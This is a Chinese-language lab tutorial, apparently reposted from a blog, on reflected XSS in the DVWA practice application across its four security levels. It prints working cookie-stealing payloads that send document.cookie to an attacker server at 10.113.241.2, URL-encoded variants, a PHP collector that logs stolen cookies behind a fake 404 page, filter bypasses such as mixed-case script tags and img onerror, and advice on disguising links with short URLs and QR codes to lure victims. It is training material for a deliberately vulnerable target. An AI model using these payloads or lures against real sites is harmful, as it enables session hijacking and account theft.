DVWA靶机-反射性XSS漏洞(Reflected)
DVWA靶機(jī)-反射性XSS漏洞(Reflected)
DVWA靶機(jī)-暴力破解(Brute Force) && DVWA靶機(jī)的四個(gè)安全等級(jí)
DVWA靶機(jī)-命令注入漏洞(Command Injection)
DVWA靶機(jī)-文件包含漏洞(File Inclusion)
DVWA靶機(jī)-文件上傳漏洞(File uploads)
DVWA靶機(jī)-跨站請(qǐng)求偽造(CSRF)
XSS跨站腳本攻擊
XSS(Cross Site Script):全稱為跨站腳本攻擊,為了與CSS(Cascading Style Sheet)層疊樣式表有所區(qū)別,所以在安全領(lǐng)域稱之為XSS。
XSS攻擊:通常指黑客通過(guò)HTML注入(控制輸入變量),插入惡意腳本,從而在被攻擊者瀏覽網(wǎng)頁(yè)時(shí),加載并執(zhí)行攻擊者惡意制造的網(wǎng)頁(yè)程序,通常指JS,實(shí)際可包含java、VBscript、ActiveX、Flash、html,攻擊成功后,攻擊者可能得到一定的權(quán)限,私密網(wǎng)頁(yè)內(nèi)容,會(huì)話,cookie等。
這種行為最初出現(xiàn)之時(shí),所有的XSS攻擊案例都是跨域行為,所以叫做跨站腳本。時(shí)至今日,隨著WEB端功能的復(fù)雜化,應(yīng)用化,是否跨站已經(jīng)不重要但是XSS這個(gè)名字依然留存下來(lái)。
反射性XSS挖掘方法
1.反射型XSS漏洞可能存在的環(huán)境
我們?cè)谠S多網(wǎng)頁(yè)中可能都有搜索欄,在搜索欄中輸入關(guān)鍵詞查找后,頁(yè)面回回顯全部的或者部分的關(guān)鍵詞,且在url中也會(huì)出現(xiàn)該關(guān)鍵詞,此時(shí)該網(wǎng)頁(yè)可能就存在反射性XSS漏洞。
此時(shí)可以做一個(gè)簡(jiǎn)單的測(cè)試,測(cè)試是否為GET型傳參
alert()函數(shù): 彈窗函數(shù)
2.漏洞檢驗(yàn)-惡意代碼化
此時(shí)漏洞就發(fā)現(xiàn)了,我們可以編輯惡意型的代碼插入url中執(zhí)行.
3.生成鏈接,誘導(dǎo)被攻擊者點(diǎn)擊
當(dāng)發(fā)現(xiàn)這個(gè)漏洞后,我們需要對(duì)插入了惡意代碼的鏈接進(jìn)行變形、比如長(zhǎng)鏈接變短鏈接、長(zhǎng)鏈接變二維碼、圖片鏈接等,目的就是要誘導(dǎo)用戶來(lái)點(diǎn)擊該鏈接,從而達(dá)成攻擊的效果。
1.DVWA-LOW等級(jí)下的反射型XSS漏洞
(1).本地用戶登錄,測(cè)試XSS漏洞所在位置
在LOW等級(jí)下,Reflectd型XSS的頁(yè)面回顯如下,在搜索欄里輸入123,頁(yè)面回顯123,且在url中123也出現(xiàn),此時(shí)該頁(yè)面可能存在反射型XSS漏洞,同時(shí)也不存在任何防護(hù)的安全策略,我們可以實(shí)施攻擊。
可以查到搜索欄的源代碼
在回顯Hello 123時(shí)使用的為<pre>Hello 123</pre>
此時(shí)我們可以考慮打破<pre>的閉合,在輸入中加入其它函數(shù)或者標(biāo)簽。
alert() && confirm() && prompt()函數(shù): 都為彈窗函數(shù)
我們?cè)趗rl中name后面加入<script>alert(1)</script>打破<pre>閉合,此時(shí)alert()函數(shù)執(zhí)行,彈出1
此時(shí)可以進(jìn)行一些有攻擊性的操作,我們?cè)趗rl中構(gòu)造出獲取被攻擊者cookie值的函數(shù),盜取用戶的cookie值。
(2).構(gòu)造惡意鏈接、盜取用戶cookie
document.location: 指定cookie傳送站點(diǎn)
10.113.241.2: 為攻擊者服務(wù)器
document.cookie: 獲取當(dāng)前用戶的cookie值
http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://10.113.241.2/xss.php?cookie=' +document.cookie;</script>
xss.php:為LOW等級(jí)下獲取cookie的處理方法
//xss.php <?php$cookie = $_GET['cookie']; //獲取cookie變量的值$log = fopen("cookie.txt","w"); //創(chuàng)建并打開(kāi)一個(gè)cookie.txt的文本權(quán)限為寫入fwrite($log,$cookie."\n"); //把cookie的值寫入創(chuàng)建的文本fclose($log); //關(guān)閉文本 ?> <h1>404<h1> <h2>file not found.<h2>當(dāng)用戶點(diǎn)擊此鏈接時(shí),通過(guò)document.cookie函數(shù)獲取當(dāng)前用戶的cookie值,賦給站點(diǎn)的xss.php文件,xss.php中定義文件操作,將獲取的cookie寫入cookie.txt文件,此時(shí)攻擊者就獲取了用戶的cookie值。
如下是通過(guò)轉(zhuǎn)碼的惡意鏈接,用戶點(diǎn)擊這個(gè)鏈接會(huì)執(zhí)行上述操作
192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E被攻擊者點(diǎn)擊該鏈接后就會(huì)彈窗到如下頁(yè)面
要使該鏈接變的更加有迷惑性,可以進(jìn)行長(zhǎng)短鏈接的變換,鏈接生成二維碼,或者具有誘惑性的圖片鏈接等。
圖中為用戶點(diǎn)擊惡意鏈接后在攻擊者本地生成的cookie.txt文件,里面已經(jīng)寫入了用戶的cookie值。
(3).以用戶的身份認(rèn)證(cookie值)登錄網(wǎng)站
在DVWA中對(duì)于cookie沒(méi)有防范措施,也就是說(shuō),在用戶登錄的情況下,攻擊者可以利用用戶的cookie,直接與服務(wù)器獲取連接
在這塊,由于之前的cookie,我在瀏覽器中清除了一次,在此處為了演示步驟,直接用cookie值連接,原理相同
LOW 等級(jí)下的反射性XSS源碼:
XSS (Reflected) Source:
array_key_exists()函數(shù): 檢查某個(gè)數(shù)組中是否存在指定的鍵名,如果鍵名存在則返回 true,如果鍵名不存在則返回 false
array_key_exists(key,array):key和array都是必須存在的,key為規(guī)定鍵名,array為規(guī)定數(shù)組。
在源終GET得到的值是以數(shù)組的形式,然后判斷GET得到的name是不是空,不為空,執(zhí)行echo語(yǔ)句。
<?php// Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Feedback for end userecho '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; }?>2.DVWA-Medium等級(jí)下的反射型XSS漏洞
(1).漏洞測(cè)試
在Medium等級(jí)下,必然存在著一些過(guò)濾策略,同low等級(jí)一樣,漏洞的位置是一樣的
此時(shí)我們用alert()函數(shù),彈窗函數(shù),測(cè)試是否能利用<script></script>標(biāo)簽是否可用
此時(shí)發(fā)現(xiàn)alert()函數(shù)不能彈窗,且頁(yè)面回顯alert(1),此時(shí)我們可以分析到<script></script>未能起到作用,應(yīng)該是被過(guò)濾,我們查看Medium等級(jí)下的源碼
XSS (Reflected) Source:
str_repalce()函數(shù): 在此處過(guò)濾了標(biāo)簽<script></script>,將GET中輸入中的script標(biāo)簽替換為空
繞過(guò)str_replace()函數(shù):
1.雙寫繞過(guò),雙寫<script>
2.大小寫字母繞過(guò),str_replace()函數(shù)替換的為字符串,此時(shí)可以將script標(biāo)簽改為大寫繞過(guò)
<ScRipt>alert(1)<ScRipt>(2).構(gòu)造惡意鏈接、盜取用戶cookie
同low等級(jí)一樣,構(gòu)造的惡意鏈接為
http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<ScRipt>document.location='http://10.113.241.2/xss1.php?cookie=' +document.cookie;</ScRipt>
與low等級(jí)不同的是,<ScRipt></ScRipt>
xss1.php:為Medium等級(jí)下獲取cookie的處理方法
創(chuàng)建的用戶保存用戶cookie的文檔為,cookie1.txt文檔
當(dāng)用戶點(diǎn)擊此鏈接時(shí),通過(guò)document.cookie函數(shù)獲取當(dāng)前用戶的cookie值,賦給站點(diǎn)的xss1.php文件,xss1.php中定義文件操作,將獲取的cookie寫入cookie1.txt文件,此時(shí)攻擊者就獲取了用戶的cookie值。
如下是通過(guò)轉(zhuǎn)碼的惡意鏈接,用戶點(diǎn)擊這個(gè)鏈接會(huì)執(zhí)行上述操作
192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3CScRipt%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss1.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2FScRipt%3E
要使該鏈接變的更加有迷惑性,可以進(jìn)行長(zhǎng)短鏈接的變換,鏈接生成二維碼,或者具有誘惑性的圖片鏈接等。
此時(shí)cookie1.txt中已經(jīng)寫入cookie值
(3).以用戶的身份認(rèn)證(cookie值)登錄網(wǎng)站
在DVWA中對(duì)于cookie沒(méi)有防范措施,也就是說(shuō),在用戶登錄的情況下,攻擊者可以利用用戶的cookie,直接與服務(wù)器獲取連接
3.DVWA-High等級(jí)下的反射性XSS漏洞
在High等級(jí)下必然定義了比Medium等級(jí)更強(qiáng)的安全策略,我們查看其源碼
High等級(jí)下的反射性XSS源碼:
preg_replace()函數(shù): 函數(shù)用于正則表達(dá)式的搜索和替換,替換為空,i為不區(qū)分大小寫
繞過(guò)方法:
使用其他的標(biāo)簽,<img src=x onerror=alert(1)>
img調(diào)用圖片,在此處,當(dāng)圖片的src所指的路徑不存在圖片,則彈出對(duì)話框,回顯1
由于preg_replace()函數(shù),此時(shí)像low和medium等級(jí)的構(gòu)造惡意鏈接方式不可用
4.impossible等級(jí)
impossible等級(jí)防范XSS反射型的一個(gè)案例,相當(dāng)強(qiáng)大
impossible等級(jí)源碼:
impossible Reflected XSS Source:
htmlspecialchars()函數(shù): 將特殊字符轉(zhuǎn)換為 HTML 實(shí)體
token機(jī)制: 隨機(jī)值
總結(jié)
以上是生活随笔為你收集整理的DVWA靶机-反射性XSS漏洞(Reflected)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 新书推荐——Windows Server
- 下一篇: Google云计算原理学习架构图